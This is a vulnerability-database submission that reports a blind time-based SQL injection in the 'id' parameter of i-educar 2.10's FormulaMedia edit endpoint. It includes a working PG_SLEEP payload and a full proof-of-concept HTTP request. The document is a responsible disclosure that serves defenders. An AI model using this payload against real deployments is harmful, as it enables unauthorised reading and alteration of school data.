| 标题 | Portabilis i-educar 2.10 SQL Injection |
|---|
| 描述 | # SQL Injection (Blind Time-Based) Vulnerability in `id` Parameter on `/module/FormulaMedia/edit` Endpoint
---
## Summary
A SQL Injection vulnerability was identified in the `/module/FormulaMedia/edit` endpoint of the _i-educar_ application, specifically in the `id` parameter. This vulnerability allows attackers to execute arbitrary SQL commands on the backend database, potentially compromising the confidentiality, integrity, and availability of application data.
---
## Details
**Vulnerable Endpoint:** `/module/FormulaMedia/edit`
**Parameter:** `id`
To reach the vulnerable functionality, it is necessary to navigate to:
**Escola > Cadastros > Tipos > Regras de Avaliação > Formula de Cálculo de Média**.
![[Pasted image 20250817015830.png]]
Additionally, exploiting this vulnerability requires an account with permissions to **create/list the "Escola" menu**.
The application fails to properly validate and sanitize user input in the `id` parameter. As a result, attackers can inject crafted SQL payloads that are executed directly by the database. This could allow database enumeration, data exfiltration, modification, or denial of service via time-based delays.
---
## PoC
**Payload:**
`'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR`
This payload triggers a **5-second delay** in the server response, demonstrating that the parameter is vulnerable to blind time-based SQL injection.
**Example Request:**
```
GET /module/FormulaMedia/edit?id=1%27+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+%27WqeR%27=%27WqeR HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Cookie: [COOKIE]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
```
![[Pasted image 20250817020824.png]]
Observe the increased server response time, confirming that the injected SQL command was executed.
---
## Impact
- **Unauthorized data access:** Reading sensitive information such as credentials, personal data, or configuration details
- **Database enumeration:** Extracting database schema, tables, and column details
- **Data manipulation:** Adding, modifying, or deleting database records
- **Denial of Service (DoS):** Using time-based queries to impact system availability
- **Potential escalation to RCE:** If combined with other vulnerabilities and specific database features
This vulnerability affects all users who can interact with the vulnerable parameter, and it can be exploited remotely without prior authentication if the endpoint is exposed. |
|---|
| 来源 | ⚠️ https://github.com/marcelomulder/CVE/blob/main/i-educar/SQL%20Injection%20(Blind%20Time-Based)%20Vulnerability%20in%20%60id%60%20Parameter%20on%20%60.module.FormulaMedia.edit%60%20Endpoint.md |
|---|
| 用户 | marceloQz (UID 87549) |
|---|
| 提交 | 2025-08-20 16時30分 (1 年前) |
|---|
| 管理 | 2025-08-29 12時56分 (9 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 321896 [Portabilis i-Educar 直到 2.10 Formula de Cálculo de Média Page edit id SQL注入] |
|---|
| 积分 | 20 |
|---|